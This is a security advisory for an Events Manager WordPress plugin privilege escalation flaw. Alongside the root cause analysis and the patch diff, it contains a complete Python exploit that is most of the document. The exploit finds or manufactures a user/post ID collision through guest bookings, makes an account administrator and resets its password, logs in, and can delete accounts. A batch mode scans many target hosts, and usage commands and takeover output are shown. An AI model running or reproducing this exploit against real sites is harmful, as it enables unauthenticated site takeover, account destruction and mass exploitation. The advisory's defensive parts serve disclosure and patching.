#Summary

CVE-2026-18366 is a CRITICAL (CVSS 9.8) privilege escalation vulnerability in the Events Manager WordPress plugin before version 7.4.1. The plugin hooks WordPress' global capability-mapping filter without properly checking the requested capability type, allowing unauthenticated attackers to escalate any colliding user account to Administrator or delete it outright. On default installations where guest bookings are enabled (the shipped default), the attacker can force this collision by minting accounts until they land on a known event post ID - turning a theoretical "if a collision exists" bug into a guaranteed full site takeover.

#Am I affected?

#How to check

curl -s http://target/wp-json/wp/v2/ | grep -q routes && echo "REST API reachable"

Then test for the vulnerability itself - the capability check is itself an oracle:

# Returns 200 if vulnerable (user exists AND its ID collides with an event/location post)
# Returns 401 if patched or no collision
# Returns 404 if user does not exist
curl -s -X POST http://target/wp-json/wp/v2/users/10 -H "Content-Type: application/json" -d '{}' -w '\nStatus: %{http_code}\n'

Alternatively, read the installed plugin version from the filesystem or through WordPress if you have access:

# Via WordPress admin (if you have access)
wp plugin list | grep events-manager

# Direct file check
cat wp-content/plugins/events-manager/readme.txt | grep "Stable tag:"

A version below 7.4.1 is vulnerable.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The plugin registers a global filter on WordPress' map_meta_cap hook. This hook runs for every capability WordPress evaluates, and the object ID passed in $args[0] varies by context - it can be a post ID, a user ID, a comment ID, or any other object the caller wants to check permissions for.

From classes/em-archetypes.php in the vulnerable version (7.4.0.1):

public static function map_meta_cap( $caps, $cap, $user_id, $args ) {
    if ( !empty( $args[0] ) ) {
        $post = get_post($args[0]);
        // Check if the post is an event or location
        if( empty($post->post_type) || !(self::is_event( $post->post_type ) || self::is_location( $post->post_type )) ) return $caps;

        $c = [ 'read' => [], 'edit' => [], 'delete' => [] ];
        $c = static::map_meta_cap_type( $c, static::$event );

        // This is the bug: the reset happens BEFORE checking if $cap is one of our caps
        if ( !empty( $c['read'][$post->post_type] ) || !empty( $c['edit'][$post->post_type] ) || !empty( $c['delete'][$post->post_type] ) ) {
            /* Set an empty array for the caps. */
            $caps = [];

            //Filter according to caps
            if ( $c['read'][$post->post_type] == $cap ) {
                // ... fill $caps for read_event
            } elseif ( $c['edit'][$post->post_type] == $cap  ) {
                // ... fill $caps for edit_event
            } elseif ( $c['delete'][$post->post_type] == $cap ) {
                // ... fill $caps for delete_event
            }
        }
    }

    /* Return the capabilities required by the user. */
    return $caps;
}

#The composition of two mistakes

Mistake 1: Object resolution before capability check. The function takes $args[0], passes it to get_post(), and asks only "is this an event or location post?" - never "is $cap a capability that is about posts at all?". When WordPress evaluates current_user_can('edit_user', 17), the $args[0] is 17 meaning user 17, but the plugin treats it as post 17. If post 17 happens to be an event, execution continues.

Mistake 2: Unconditional reset with no capability gate. The outer if that guards $caps = [] tests only whether the plugin has capability names registered for this post type - which is always true for event or location posts. It does not test whether $cap is one of those names. So $caps is emptied first, and the if/elseif chain tries to match $cap against read_event, edit_event, delete_event, etc. For unrelated capabilities like edit_user, promote_user, or delete_user, no branch matches, nothing is appended, and the function returns an empty array.

#Why an empty array means "allow"

WordPress interprets an empty capability list as "nothing left to verify, allow". From wp-includes/class-wp-user.php:

$caps = map_meta_cap( $cap, $this->ID, ...$args );

$capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this );

// Must have ALL requested caps.
foreach ( (array) $caps as $cap ) {
    if ( empty( $capabilities[ $cap ] ) ) {
        return false;
    }
}

return true;  // Falls through here when $caps is empty

The loop never executes over an empty array, and the function falls through to return true - whether you are an administrator or an anonymous visitor (user 0).

#Patch diff

The fix restructures the logic so that each branch both checks the requested capability AND performs its own reset, meaning $caps is never emptied unless the plugin is actually going to refill it:

@@ -560,35 +560,33 @@
         $c = static::map_meta_cap_type( $c, $archetype );
     }

-   if ( !empty( $c['read'][$post->post_type] ) || !empty( $c['edit'][$post->post_type] ) || !empty( $c['delete'][$post->post_type] ) ) {
-       /* Set an empty array for the caps. */
+   // Only reset $caps when the requested capability is one of our archetype meta caps for this post type.
+   // Resetting on any object-carrying cap emptied the requirement list for unrelated caps (e.g. edit_user, promote_user),
+   // which reads as allow.
+   if ( !empty( $c['read'][$post->post_type] ) && $c['read'][$post->post_type] == $cap ) {
        $caps = [];
-
-       //Filter according to caps
-       if ( $c['read'][$post->post_type] == $cap ) {
-           if ( 'private' != $post->post_status ) {
-               $caps[] = 'read';
-           } elseif ( $user_id == $post->post_author ) {
-               $caps[] = 'read';
-           } else {
-               $post_type = get_post_type_object( $post->post_type );
-               $caps[] = $post_type->cap->read_private_posts;
-           }
-       } elseif ( $c['edit'][$post->post_type] == $cap  ) {
+       if ( 'private' != $post->post_status ) {
+           $caps[] = 'read';
+       } elseif ( $user_id == $post->post_author ) {
+           $caps[] = 'read';
+       } else {
            $post_type = get_post_type_object( $post->post_type );
-           if ( $user_id == $post->post_author ) {
-               $caps[] = $post_type->cap->edit_posts;
-           } else {
-               $caps[] = $post_type->cap->edit_others_posts;
-           }
-       } elseif ( $c['delete'][$post->post_type] == $cap ) {
+           $caps[] = $post_type->cap->read_private_posts;
+       }
+   } elseif ( !empty( $c['edit'][$post->post_type] ) && $c['edit'][$post->post_type] == $cap  ) {
+       $caps = [];
        $post_type = get_post_type_object( $post->post_type );
-           if ( $user_id == $post->post_author ) {
-               $caps[] = $post_type->cap->delete_posts;
-           } else {
-               $caps[] = $post_type->cap->delete_others_posts;
-           }
+       if ( $user_id == $post->post_author ) {
+           $caps[] = $post_type->cap->edit_posts;
+       } else {
+           $caps[] = $post_type->cap->edit_others_posts;
        }
+   } elseif ( !empty( $c['delete'][$post->post_type] ) && $c['delete'][$post->post_type] == $cap ) {
+       $caps = [];
+       $post_type = get_post_type_object( $post->post_type );
+       if ( $user_id == $post->post_author ) {
+           $caps[] = $post_type->cap->delete_posts;
+       } else {
+           $caps[] = $post_type->cap->delete_others_posts;
+       }
     }

The change ensures that edit_user, promote_user, and delete_user now return the unmodified requirement list from WordPress core, which correctly denies for unauthenticated users.

#Proof of concept

#exploit.py - Events Manager Privilege Escalation PoC

#!/usr/bin/env python3
"""
CVE-2026-18366 - Events Manager (WordPress plugin) unauthenticated privilege escalation
Affected: Events Manager 7.1 up to and including 7.4.0.1 (fixed in 7.4.1)
Type: Privilege escalation / broken access control (CWE-269)

The plugin hooks WordPress' global `map_meta_cap` filter and, for any capability
check that carries an object id resolving to one of its own event/location posts,
empties the required-capability list before checking whether the requested cap is
one of its own. WP_User::has_cap() reads an empty requirement list as "nothing left
to verify, allow", so an anonymous request is granted `edit_user`, `promote_user`
and `delete_user` on any account whose user id collides with such a post id.

Reached over the core REST users controller, which needs no nonce without a cookie:

  POST   /wp-json/wp/v2/users/<id>   {"password": "...", "roles": ["administrator"]}
  DELETE /wp-json/wp/v2/users/<id>?force=true&reassign=false

Usage:
  python exploit.py --host 10.10.14.7
  python exploit.py --host https://events.corp.com --user-id 17
  python exploit.py --host http://10.10.14.7:8080/blog --user-id 17 --delete-user
  python exploit.py --host 10.10.14.7 --force-collision      # mint the collision via guest bookings
  python exploit.py --host 10.10.14.7 --probe-only           # non-destructive check
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import json
import re
import secrets
import sys
from urllib.parse import urlencode, urljoin, urlparse

import requests

try:
    import urllib3
    urllib3.disable_warnings()
except Exception:
    pass

CVE_ID    = "CVE-2026-18366"
VULN_TYPE = "Privilege Escalation"

UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36")


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# target plumbing
# --------------------------------------------------------------------------

class WPTarget:
    """One WordPress install, addressed purely over HTTP."""

    def __init__(self, host, port, use_tls, path="/", timeout=20):
        scheme = "https" if use_tls else "http"
        netloc = f"{host}:{port}"
        base_path = (path or "/").rstrip("/")
        self.base = f"{scheme}://{netloc}{base_path}"
        self.timeout = timeout
        self.routing = "pretty"
        self.s = requests.Session()
        self.s.verify = False
        self.s.headers.update({"User-Agent": UA})

    # -- REST url building -------------------------------------------------
    def rest(self, route, params=None):
        if self.routing == "query":
            q = {"rest_route": route}
            if params:
                q.update(params)
            return self.base + "/index.php?" + urlencode(q)
        url = self.base + "/wp-json" + route
        if params:
            url += "?" + urlencode(params)
        return url

    def detect_routing(self):
        """Pretty permalinks or ?rest_route=. Decided once, reused everywhere."""
        for mode, url in (("pretty", self.base + "/wp-json/"),
                          ("query", self.base + "/index.php?rest_route=/")):
            try:
                r = self.s.get(url, timeout=self.timeout, allow_redirects=True)
            except requests.RequestException:
                continue
            if r.status_code == 200 and ("routes" in r.text[:4096] or "namespaces" in r.text[:4096]):
                self.routing = mode
                return mode
        return None

    # -- the vulnerable primitive -----------------------------------------
    def probe_user(self, uid):
        """Non-destructive oracle: an empty write body runs the capability check
        and changes nothing. 200 = the check was bypassed for this id."""
        return self.s.post(self.rest(f"/wp/v2/users/{uid}"),
                           json={}, timeout=self.timeout, allow_redirects=False)

    def rewrite_user(self, uid, password=None, role=None):
        body = {}
        if password:
            body["password"] = password
        if role:
            body["roles"] = [role]
        return self.s.post(self.rest(f"/wp/v2/users/{uid}"),
                           json=body, timeout=self.timeout, allow_redirects=False)

    def delete_user(self, uid):
        return self.s.delete(self.rest(f"/wp/v2/users/{uid}",
                                       {"force": "true", "reassign": "false"}),
                             timeout=self.timeout, allow_redirects=False)


def new_password():
    return "Pw_%s_9aB!" % secrets.token_hex(6)


def brief_user(data):
    keep = ("id", "username", "name", "email", "roles")
    return json.dumps({k: data[k] for k in keep if k in data}, indent=2)


# --------------------------------------------------------------------------
# collision discovery
# --------------------------------------------------------------------------

def sweep_collisions(t, max_id, wanted=None, skip=()):
    """Walk candidate ids and let the bug answer.

      200 -> user exists AND its id collides with an event/location post: exploitable
      401 -> user exists, no collision
      404 -> no user with that id (a post may still exist there)

    Returns (exploitable, existing_ids)."""
    hits, existing = [], []
    for uid in range(1, max_id + 1):
        if uid in skip:
            continue
        try:
            r = t.probe_user(uid)
        except requests.RequestException:
            continue
        if r.status_code == 200:
            try:
                data = r.json()
            except ValueError:
                data = {"id": uid}
            hits.append(data)
            existing.append(uid)
            if wanted is None and len(hits) >= 1 and "administrator" not in data.get("roles", []):
                break
            if wanted is not None and uid == wanted:
                break
        elif r.status_code in (401, 403):
            existing.append(uid)
    return hits, existing


def pick_target(hits):
    """Prefer a low-privilege account so the demonstration does not hinge on
    damaging the site's primary administrator."""
    for h in hits:
        if "administrator" not in h.get("roles", []):
            return h
    return hits[0] if hits else None


# --------------------------------------------------------------------------
# rung 2b: manufacture the collision through guest bookings
# --------------------------------------------------------------------------

def find_bookable_event(t, start_id, span):
    """Find a post id at or above `start_id` that renders a public booking form.
    Each guest booking against it mints a real account and advances the user id
    counter by one, so this post id is where the counter can be walked to."""
    for pid in range(start_id, start_id + span):
        try:
            r = t.s.get(t.base + f"/?p={pid}", timeout=t.timeout, allow_redirects=True)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        if "booking_add" in r.text and "em-booking-form" in r.text:
            return pid, r.url, r.text
    return None, None, None


def parse_booking_form(html, page_url):
    """Pull the guest booking form out of the page: its action, its fields and
    the CSRF nonce WordPress rendered into it for anonymous visitors."""
    m = re.search(r"<form[^>]*em-booking-form[^>]*>(.*?)</form>", html, re.S | re.I)
    block = m.group(1) if m else html
    action = page_url
    if m:
        a = re.search(r"<form[^>]*em-booking-form[^>]*action=['\"]([^'\"]*)['\"]", html, re.I)
        if a and a.group(1) and not a.group(1).startswith("#"):
            action = urljoin(page_url, a.group(1))

    fields = {}
    for tag in re.finditer(r"<input\b[^>]*>", block, re.I):
        raw = tag.group(0)
        name = re.search(r"\bname=['\"]([^'\"]+)['\"]", raw)
        if not name:
            continue
        itype = re.search(r"\btype=['\"]([^'\"]+)['\"]", raw)
        itype = itype.group(1).lower() if itype else "text"
        if itype in ("submit", "button", "image"):
            continue
        value = re.search(r"\bvalue=['\"]([^'\"]*)['\"]", raw)
        fields[name.group(1)] = value.group(1) if value else ""

    for tag in re.finditer(r"<select\b[^>]*name=['\"]([^'\"]+)['\"]", block, re.I):
        name = tag.group(1)
        if "em_tickets" in name and "spaces" in name:
            fields[name] = "1"

    return action, fields


def submit_guest_booking(t, page_url, email_domain):
    """One anonymous booking. Returns the e-mail address it registered under."""
    r = t.s.get(page_url, timeout=t.timeout)
    action, fields = parse_booking_form(r.text, r.url)
    if "action" not in fields or fields.get("action") != "booking_add":
        fields["action"] = "booking_add"
    tag = secrets.token_hex(4)
    email = f"guest{tag}@{email_domain}"
    fields["user_email"] = email
    fields["user_name"] = f"Guest {tag[:4]}"
    fields["register_user"] = "1"
    if "data_privacy_consent" in fields:
        fields["data_privacy_consent"] = "1"
    t.s.post(action, data=fields, timeout=t.timeout, allow_redirects=True)
    return email


# --------------------------------------------------------------------------
# rung 5: turn account control into an administrator session
# --------------------------------------------------------------------------

def login(t, username, password):
    s = requests.Session()
    s.verify = False
    s.headers.update({"User-Agent": UA})
    s.cookies.set("wordpress_test_cookie", "WP Cookie check")
    try:
        s.get(t.base + "/wp-login.php", timeout=t.timeout)
    except requests.RequestException:
        pass
    r = s.post(t.base + "/wp-login.php",
               data={"log": username, "pwd": password, "testcookie": "1",
                     "redirect_to": t.base + "/wp-admin/", "wp-submit": "Log In"},
               timeout=t.timeout, allow_redirects=False)
    ok = any(c.name.startswith("wordpress_logged_in") for c in s.cookies)
    return (s if ok else None), r.status_code


def rest_nonces(html):
    """Every plausible wp_rest nonce on an admin page, best guess first. Admin
    pages carry several unrelated nonces, so the caller tries them in turn."""
    out = []
    for pat in (r"wpApiSettings\s*=\s*\{[^}]*?['\"]nonce['\"]\s*:\s*['\"]([0-9a-zA-Z]+)['\"]",
                r"createNonceMiddleware\(\s*['\"]([0-9a-zA-Z]+)['\"]",
                r"['\"]rest_nonce['\"]\s*:\s*['\"]([0-9a-zA-Z]+)['\"]",
                r"['\"]nonce['\"]\s*:\s*['\"]([0-9a-f]{8,12})['\"]"):
        for m in re.finditer(pat, html, re.S):
            if m.group(1) not in out:
                out.append(m.group(1))
    return out


def prove_admin(t, sess):
    """Read something only `manage_options` can reach. Returns (ok, details)."""
    out = {}
    r = sess.get(t.base + "/wp-admin/options-general.php", timeout=t.timeout)
    body = r.text
    if r.status_code == 200 and "not allowed to access this page" not in body:
        for field in ("blogname", "blogdescription", "new_admin_email", "admin_email"):
            m = re.search(r"name=['\"]%s['\"][^>]*value=['\"]([^'\"]*)['\"]" % field, body)
            if not m:
                m = re.search(r"value=['\"]([^'\"]*)['\"][^>]*name=['\"]%s['\"]" % field, body)
            if m:
                out[field] = m.group(1)
        if "admin_email" not in out and "new_admin_email" in out:
            out["admin_email"] = out.pop("new_admin_email")
        out.pop("new_admin_email", None)
        out["_admin_page"] = r.status_code
    for nonce in rest_nonces(body)[:5]:
        rs = sess.get(t.rest("/wp/v2/settings"), headers={"X-WP-Nonce": nonce}, timeout=t.timeout)
        if rs.status_code == 200:
            try:
                data = rs.json()
            except ValueError:
                continue
            out["_settings"] = {k: data[k] for k in
                                ("title", "description", "url", "email", "language", "posts_per_page")
                                if k in data}
            break
    return bool(out.get("_admin_page") or out.get("_settings")), out


# --------------------------------------------------------------------------
# scan mode
# --------------------------------------------------------------------------

def _try_exploit(host, port, use_tls, path="/", user_id=None, sweep_max=40):
    """Silent, non-destructive probe for --list. Confirms the authorization
    bypass by reading back an account's private fields with no credentials.
    Never prints, never exits, never writes to the target."""
    try:
        t = WPTarget(host, port, use_tls, path, timeout=10)
        if t.detect_routing() is None:
            return False, "no reachable REST API"
        ids = [user_id] if user_id else range(1, sweep_max + 1)
        seen = 0
        for uid in ids:
            try:
                r = t.probe_user(uid)
            except requests.RequestException:
                continue
            if r.status_code == 200:
                try:
                    d = r.json()
                except ValueError:
                    d = {}
                return True, ("unauthenticated edit_user granted on uid %s (%s <%s>)"
                              % (uid, d.get("username", "?"), d.get("email", "?")))
            if r.status_code in (401, 403):
                seen += 1
        if seen:
            return False, "capability check denied on every id tried (patched, or no id collision)"
        return False, "no users answered the REST route"
    except requests.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"
    except Exception as e:
        return False, f"error ({e.__class__.__name__})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, user_id=None, sweep_max=40):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, user_id, sweep_max)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------
# single target
# --------------------------------------------------------------------------

def exploit(host, port, use_tls, path, args):
    header(host, port)
    t = WPTarget(host, port, use_tls, path)

    step(1, f"Locating the WordPress REST API at {t.base}")
    mode = t.detect_routing()
    if mode is None:
        done(False, "no REST API reachable at the given base URL")
    print(f"        REST routing: {'/wp-json/' if mode == 'pretty' else '?rest_route='}")

    n = 2
    target = None
    existing = []

    if args.force_collision:
        step(n, "Manufacturing the ID collision through anonymous guest bookings")
        _, existing = sweep_collisions(t, args.sweep_max, wanted=-1)
        frontier = (max(existing) + 1) if existing else 1
        print(f"        highest existing user id seen: {max(existing) if existing else 'none'}")
        pid = args.collide_id
        page = None
        if pid:
            r = t.s.get(t.base + f"/?p={pid}", timeout=t.timeout, allow_redirects=True)
            page = r.url if "booking_add" in r.text else None
            if page is None:
                done(False, f"post {pid} does not render a public booking form")
        else:
            pid, page, _ = find_bookable_event(t, frontier, args.collide_span)
            if pid is None:
                done(False, "no bookable event post found above the current user id frontier")
        print(f"        bookable event post id {pid} at {page}")
        print(f"        walking the user id counter up to {pid} (one account per booking)")
        booked = 0
        while booked < args.max_bookings:
            r = t.probe_user(pid)
            if r.status_code == 200:
                target = r.json()
                break
            if r.status_code in (401, 403):
                done(False, f"user {pid} exists but the capability check denied: no post collision at that id")
            submit_guest_booking(t, page, args.email_domain)
            booked += 1
        if target is None:
            done(False, f"user id counter did not reach {pid} within {args.max_bookings} bookings")
        section("MANUFACTURED COLLISION",
                f"{booked} anonymous guest booking(s) advanced the user id counter onto event post "
                f"{pid}\naccount minted by the last booking:\n{brief_user(target)}")
        n += 1

    elif args.user_id:
        step(n, f"Skipping discovery, --user-id {args.user_id} was supplied")
        r = t.probe_user(args.user_id)
        if r.status_code == 404:
            done(False, f"no user with id {args.user_id} on this host")
        if r.status_code != 200:
            done(False, f"capability check denied for user {args.user_id} (HTTP {r.status_code}) "
                        f"- patched, or no event/location post shares that id")
        target = r.json()
        n += 1

    else:
        step(n, f"Sweeping user ids 1-{args.sweep_max} for one that collides with an event or location post")
        hits, existing = sweep_collisions(t, args.sweep_max)
        if not hits:
            done(False, f"no colliding id in 1-{args.sweep_max} "
                        f"({len(existing)} accounts answered but every capability check denied)")
        target = pick_target(hits)
        print(f"        collision found: user {target['id']} ({target.get('username')}) "
              f"roles={target.get('roles')}")
        n += 1

    uid = target["id"]

    if args.probe_only:
        section("PRIVATE ACCOUNT DATA RETURNED TO AN ANONYMOUS REQUEST", brief_user(target))
        done(True, f"authorization bypass confirmed on user {uid} ({target.get('username')}) "
                   f"- private fields returned to an unauthenticated request, nothing modified")

    password = args.password or new_password()
    step(n, f"Rewriting role and password on user {uid} with one cookie-less request")
    r = t.rewrite_user(uid, password=password, role=args.role)
    if r.status_code != 200:
        section("SERVER RESPONSE", r.text[:600])
        done(False, f"escalation refused with HTTP {r.status_code} - target appears patched")
    data = r.json()
    section("ESCALATION RESPONSE", f"HTTP {r.status_code}\n{brief_user(data)}")
    if args.role not in data.get("roles", []):
        done(False, f"write accepted but role is still {data.get('roles')}")
    username = data.get("username") or target.get("username")
    n += 1

    step(n, f"Logging in as '{username}' with the password just set")
    sess, code = login(t, username, password)
    if sess is None:
        done(False, f"role and password rewritten on user {uid} but wp-login.php did not "
                    f"issue a session (HTTP {code})")
    ok, details = prove_admin(t, sess)
    if not ok:
        done(False, f"logged in as '{username}' but no administrator-only endpoint answered")
    admin_email = details.get("admin_email") or details.get("_settings", {}).get("email", "?")
    lines = []
    if "_settings" in details:
        lines.append("GET /wp/v2/settings ->\n" + json.dumps(details["_settings"], indent=2))
    if details.get("_admin_page"):
        lines.append("GET /wp-admin/options-general.php -> HTTP 200 (manage_options only)\n"
                     + json.dumps({k: v for k, v in details.items() if not k.startswith("_")}, indent=2))
    section("ADMINISTRATOR-ONLY DATA", "\n\n".join(lines))
    n += 1

    if args.delete_user:
        step(n, "Secondary demonstration: deleting an account without credentials")
        did = args.delete_id
        if not did:
            hits, _ = sweep_collisions(t, args.sweep_max, wanted=-1, skip=(uid,))
            cand = pick_target([h for h in hits if h["id"] != uid])
            did = cand["id"] if cand else None
        if not did:
            print("        no second colliding account available, skipping")
        else:
            rd = t.delete_user(did)
            section("DELETE RESPONSE", f"HTTP {rd.status_code}\n{rd.text[:400]}")
            if rd.status_code == 200 and '"deleted":true' in rd.text.replace(" ", ""):
                print(f"        account {did} deleted anonymously.")
            else:
                print(f"        deletion of account {did} was refused.")

    done(True, f"administrator takeover of '{username}' (user {uid}) from an unauthenticated, "
               f"cookie-less start - site admin e-mail {admin_email}, password now '{password}'")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/blog)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--user-id", type=int, default=None,
                        help="Account to take over; must share its id with an event or location post "
                             "(default: sweep and pick one)")
    parser.add_argument("--role", default="administrator", help="Role to grant (default: administrator)")
    parser.add_argument("--password", default=None,
                        help="Password to set (default: freshly generated per run)")
    parser.add_argument("--sweep-max", type=int, default=40,
                        help="Highest user id to try when sweeping for a collision (default: 40)")
    parser.add_argument("--probe-only", action="store_true",
                        help="Confirm the bypass without modifying anything")
    parser.add_argument("--delete-user", action="store_true",
                        help="Also demonstrate the delete_user variant on a second colliding account")
    parser.add_argument("--delete-id", type=int, default=None,
                        help="Account to delete with --delete-user (default: another colliding id)")
    parser.add_argument("--force-collision", action="store_true",
                        help="Mint the collision: submit anonymous guest bookings until the user id "
                             "counter lands on a bookable event's post id, then take that account over")
    parser.add_argument("--collide-id", type=int, default=None,
                        help="Event post id to walk the user id counter onto (default: discover one)")
    parser.add_argument("--collide-span", type=int, default=40,
                        help="How far above the user id frontier to look for a bookable event (default: 40)")
    parser.add_argument("--max-bookings", type=int, default=25,
                        help="Safety cap on guest bookings submitted (default: 25)")
    parser.add_argument("--email-domain", default="example.net",
                        help="Mail domain for accounts minted by --force-collision (default: example.net)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             user_id=args.user_id, sweep_max=args.sweep_max)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args)

#Usage

# Non-destructive confirmation - changes nothing
python3 exploit.py --host 10.10.14.7 --probe-only

# Full takeover with a known colliding account
python3 exploit.py --host 10.10.14.7 --user-id 17

# No pre-existing collision - mint one via guest bookings
python3 exploit.py --host 10.10.14.7 --force-collision

# Include destructive variant on a second account
python3 exploit.py --host 10.10.14.7 --user-id 17 --delete-user --delete-id 10

# Batch scan
python3 exploit.py --list targets.txt --workers 20

#Vulnerable target output:

[STEP 1] Locating the WordPress REST API at http://127.0.0.1:8366
        REST routing: /wp-json/
[STEP 2] Skipping discovery, --user-id 17 was supplied
[STEP 3] Rewriting role and password on user 17 with one cookie-less request

--- ESCALATION RESPONSE ---
HTTP 200
{
  "id": 17,
  "username": "ipetrova",
  "name": "Irina Petrova",
  "email": "[email protected]",
  "roles": [
    "administrator"
  ]
}
---

[STEP 4] Logging in as 'ipetrova' with the password just set

--- ADMINISTRATOR-ONLY DATA ---
GET /wp/v2/settings ->
{
  "title": "Riverside Community Events",
  "description": "Local listings, meetups and workshops",
  "url": "http://127.0.0.1:8366",
  "email": "[email protected]",
  "language": "en_US",
  "posts_per_page": 10
}

GET /wp-admin/options-general.php -> HTTP 200 (manage_options only)
{
  "blogname": "Riverside Community Events",
  "blogdescription": "Local listings, meetups and workshops",
  "admin_email": "[email protected]"
}
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: administrator takeover of 'ipetrova' (user 17) from an unauthenticated, cookie-less start - site admin e-mail [email protected]
============================================================

#Patched target output:

[STEP 1] Locating the WordPress REST API at http://127.0.0.1:8367
        REST routing: /wp-json/
[STEP 2] Skipping discovery, --user-id 17 was supplied

============================================================
  RESULT  : FAILURE
  EVIDENCE: capability check denied for user 17 (HTTP 401) - patched, or no event/location post shares that id
============================================================

#Exploitation notes

#References